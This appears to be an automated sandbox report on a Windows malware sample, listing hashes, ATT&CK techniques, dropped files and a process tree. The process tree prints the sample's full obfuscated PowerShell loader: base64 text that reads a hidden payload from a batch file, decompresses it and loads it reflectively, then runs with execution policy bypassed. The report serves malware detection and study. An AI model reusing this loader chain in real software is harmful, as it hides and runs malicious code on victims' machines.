ba78571683994ac10261134dab60e6e98dd417a417ff32aac59fe461e4e3ccd9

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
04/04/2024, 10:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d1ba7baf72077fb7d02f44c9f9b8f7ae.exe
Size 1.4MB
Sample240404-mntbjadb85
SHA256 ba78571683994ac10261134dab60e6e98dd417a417ff32aac59fe461e4e3ccd9
MD5 d1ba7baf72077fb7d02f44c9f9b8f7ae
SHA1 0350cd5db239fb09ec4f30bed172551e410a76d4
SHA512 f77a5df3ac6b9abe21c815a2ae0ea977a5b68cfe764dc2d081704766519b9c75b2943ab50145e8896b64e4a855ba99ea907b6d28ac8047975d19f68a48c87eae
SSDEEP 24576:jfL1G/8dALL9ZvVby0ko+aUTVLHqsBjXeUlw56+Vk0/Zu9EhXIQ6Qjo0e4:L00AF3y0V+DBLJXJWVkYMK1Xjo54
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2584	powershell.exe
2616	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1464 wrote to memory of 2600	1464	d1ba7baf72077fb7d02f44c9f9b8f7ae.exe	28
PID 1464 wrote to memory of 2600	1464	d1ba7baf72077fb7d02f44c9f9b8f7ae.exe	28
PID 1464 wrote to memory of 2600	1464	d1ba7baf72077fb7d02f44c9f9b8f7ae.exe	28
PID 1464 wrote to memory of 2600	1464	d1ba7baf72077fb7d02f44c9f9b8f7ae.exe	28
PID 2600 wrote to memory of 2112	2600	wscript.exe	29
PID 2600 wrote to memory of 2112	2600	wscript.exe	29
PID 2600 wrote to memory of 2112	2600	wscript.exe	29
PID 2600 wrote to memory of 2112	2600	wscript.exe	29
PID 2112 wrote to memory of 2584	2112	cmd.exe	31
PID 2112 wrote to memory of 2584	2112	cmd.exe	31
PID 2112 wrote to memory of 2584	2112	cmd.exe	31
PID 2112 wrote to memory of 2584	2112	cmd.exe	31
PID 2112 wrote to memory of 2616	2112	cmd.exe	32
PID 2112 wrote to memory of 2616	2112	cmd.exe	32
PID 2112 wrote to memory of 2616	2112	cmd.exe	32
PID 2112 wrote to memory of 2616	2112	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\d1ba7baf72077fb7d02f44c9f9b8f7ae.exe
"C:\Users\Admin\AppData\Local\Temp\d1ba7baf72077fb7d02f44c9f9b8f7ae.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJleHBsb3Jlci5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\explorer.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2584
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\explorer.ps1"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 9829503764c799ad5efd95e175af0270cdf2e8b5e2ed4c0153259a3d515002d1
MD5 c6a9ae6fc1f6ac8a2e7b01379e9cbd10
SHA1 b6f9ac6f08f8f2111d123aa341fe0805a536e5c2
SHA512 5f7a3cb281e615ba45f3d64b2b27e8f8420c2bfa903312874f6c71aab664c744502611ab8597a9c892fc938a12f289d887c743a791ba9cbfd082669285480452
SSDEEP 96:4RqCoOM8rnqvsqvJCwoSRqCoOM8rnqvsEHyqvJCwor3+XHQHRF7V6XlUVF:wDfUoODfAHnor36gF7V62
MD5 SHA1 SHA512 SSDEEP

Submit Download

explorer.ps1

Path C:\Users\Admin\explorer.ps1
Size 1KB
SHA256 3deb7f2a8c8bcd92414bbc33f65d08524f3ff9e612e0cf1055f5df720a5e0249
MD5 8d0ee5a257b557dd664283de9f9e5950
SHA1 4a6607eaaa4a29bde89b60be0103c56dfe4bb9aa
SHA512 f16f5737f0f4e0bcfdaa113dba8892345ce94eff95606c88d688e86bb9ab3d64bf104b7b90a47e32fe36db8ed1d6d64551bbb2027c18b2ea8da93ce8e93e6198
MD5 SHA1 SHA512

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 231B
SHA256 89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
MD5 abe1dd23ab4c11aae54f1898c780c0b5
SHA1 bb2f974b3e0af2baa40920b475582bfd4fb28001
SHA512 e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 1.7MB
SHA256 606b19bc9f1ea92ac77deb5f1483854b38fedec0e3b6ed4406a665c556e05f7f
MD5 b09a7a33e4538d30ca1619ed64d69b0e
SHA1 e98259cdd53cb078ba4dc361534c08a1c4af2104
SHA512 0a4eebdbf92ece0bf4abddd231cb5851eb7d6ccc1e4220c5c01811c0ec0b7627985badbf0828df361cf6117e2845951989b50246756f34c2f84a755353bc4ff9
SSDEEP 24576:2kWFUNdypkoPw8W5ot17PQmQYdYc750hUSofNp647TVNPN3NyR90HKk5zxMAAWYv:GpY5orPxL5gyNHfG9gvMlW3SOQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2584-10-0x0000000002730000-0x0000000002770000-memory.dmp

Download

memory/2584-9-0x0000000073A70000-0x000000007401B000-memory.dmp

Download

memory/2584-12-0x0000000002730000-0x0000000002770000-memory.dmp

Download

memory/2584-14-0x0000000073A70000-0x000000007401B000-memory.dmp

Download

memory/2584-11-0x0000000002730000-0x0000000002770000-memory.dmp

Download

memory/2584-8-0x0000000073A70000-0x000000007401B000-memory.dmp

Download

memory/2616-20-0x0000000073A50000-0x0000000073FFB000-memory.dmp

Download

memory/2616-21-0x0000000073A50000-0x0000000073FFB000-memory.dmp

Download

memory/2616-22-0x0000000002680000-0x00000000026C0000-memory.dmp

Download

memory/2616-23-0x0000000002680000-0x00000000026C0000-memory.dmp

Download

memory/2616-26-0x0000000073A50000-0x0000000073FFB000-memory.dmp

Download

memory/2616-27-0x0000000073A50000-0x0000000073FFB000-memory.dmp

Download

memory/2616-28-0x0000000002680000-0x00000000026C0000-memory.dmp

Download